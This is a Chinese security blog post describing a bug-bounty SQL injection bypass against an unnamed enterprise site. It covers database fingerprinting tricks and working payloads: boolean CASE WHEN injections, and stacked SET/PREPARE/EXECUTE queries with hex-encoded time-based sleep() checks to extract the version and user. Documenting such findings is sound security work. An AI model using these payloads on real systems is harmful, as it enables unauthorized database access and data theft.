某企业专属SRC SQLI Bypass分析
浏览 1090 | 评论 0 | 字数 3619
硝基苯
2022年11月26日
  • 前面发现sqli不多说,sqlmap显示出语句但是不能判断有数据库
    88817-jgymydx4go.png

    知识点:

    • MYSQLi
    • prepare 语句绕过

    判断数据库

    一、前期知识点:

    Oracle:   length(表示字符串长度)    lengthb (表示字符串的字节长度)
    MySQL:length:返回字符串所占的字节数    char_length:返回字符串的字符数

    @@version和version()
    在mysql内,可以用@@version或是version()来返回当前的版本信息。但无法判断是mysql还是mssql时,可以用version()函数来构造判断。
    version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。

    substring和substr
    在mssql中可以调用substring。oracle则只可调用substr

    基于辅助的符号判断
    “/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
    “--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
    “;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
    在注入点后加(必须为注入点);--+(一个分号,两个横线),例如:http://xxxx/article/as.asp?id=1;--+。如果返回正常的话,说明数据库是MSSQL。在MSSQL数据库中;和--+都是存在的,;用来分离两个语句,而--+就是注释符,它后面语句都不执行。如果返回错误,基本可以肯定是ACCESS数据库了。

    二、进行判断

    1.判断正常回显:首先明确当判断为true时返回2kb的数据,false或语法错误返回390b大小的数据
    15301-rsldn3zepj.png

    2.判断过滤字符:当出现 - ' * 符号以及user() database()等关键字时,返回空,数据大小142b,但是""出现为390b的数据,可能是语句问题,不深究原因
    61827-w288y5fu8xa.png

    3.初步bypass尝试:;未被过滤,且user%23asdf%0a()仍然被检测
    4.判断数据库:虽然-- /**/无法判断,但是version()、@@version未被过滤,且能正常使用
    64891-iqxxy65kt9a.png

    database()这类被ban了的返回为空
    38348-r5z63yyvrbf.png

    //0x616263 = ‘abc’
    char_length(0x616263) = 3,回显为true,基本可以确定为MYSQL数据库
    58791-xfxjga1zr4o.png

    5.爆版本:利用sqlmap已给出的payload,结合version未被过滤,我们可以得到以下poc,至此也能证明数据库类型为mysql

    by=asc,(SELECT (CASE WHEN (substr(version(),1,7)=5.60000
    ) THEN 1 ELSE 9531*(SELECT 9531 UNION ALL SELECT 3155) END));

    6.扩大影响:仅仅能爆出版本号远远不够

    • 进一步思考,select未被过滤,尝试prepare、set发现未被过滤,;未被过滤,是否能进行预编译处理来绕过
      原始poc
    set @a:="SELECT (CASE WHEN (substr(version(),1,1)=4) THEN 1 ELSE 0 END)";
    prepare s from @a;
    execute s;

    37212-qh9vmwcjka.png

    不能出现双引号,直接HEX就行。
    问题在假设语句为select * from users order by 1 ? ,如果我们用,poc来控制顺序,但是无法清晰看出具体从哪排,并且预编译会出现;来结束当前SQL语句,因此该poc语句存在错误。

    select * from users order by 1 ,
    (set @a:="SELECT (CASE WHEN (substr(version(),1,1)=5) THEN 2 ELSE 0 END)";
    prepare s from @a;
    execute s;)
    • 再次思考:我们直接用;结束前面语句,将poc插入后,语句会被送到MYSQL执行器去执行语句,如果原poc如下,本地运行没问题
      01431-mb5j2zodx1j.png

    Hex(@a)后,发送poc发现返回2kb的数据(已知version第一个是5),未达预期

    asc;
    //@a = SELECT (CASE WHEN (substr(version(),1,1)=4) THEN 1 ELSE 0 END)
    set @a = 0x53454c454354202843415345205748454e20287375627374722876657273696f6e28292c312c31293d3429205448454e203120454c5345203020454e4429;
    prepare s from @a;
    execute s;

    究其原因,SQL返回了2个结果,而输出只会显示第一个结果,我们的poc是否成功无法判断。但是,因为我们是把俩个语句放到了同一个执行函数中,如果poc在第二个执行语句中出现了延时呢?
    第一个语句快速执行,第二个语句出现延时,笔者理解,需要等第二个执行结束后才能返回给php。Poc验证,延时成功,且正常回显

    //@a := SELECT (CASE WHEN (substr(version(),1,1)=5) THEN sleep(5) ELSE 0 END) 
    &by=asc;
    set%20@a:=0x53454c454354202843415345205748454e20287375627374722876657273696f6e28292c312c31293d3529205448454e20736c65657028352920454c5345203020454e4429;
    prepare%20s%20from%20@a;
    execute%20s;

    尝试测试user(),payload为

    //SELECT (CASE WHEN (substr(user(),1,1)!='r') THEN sleep(5) ELSE 0 END)
    0x53454c454354202843415345205748454e2028737562737472287573657228292c312c3129213d27722729205448454e20736c65657028352920454c5345203020454e4429

    成功延时,至此,bypass结束。

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/754/
    最后修改时间:2022-11-26 20:02:45
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论已关闭
    评论列表
    暂无评论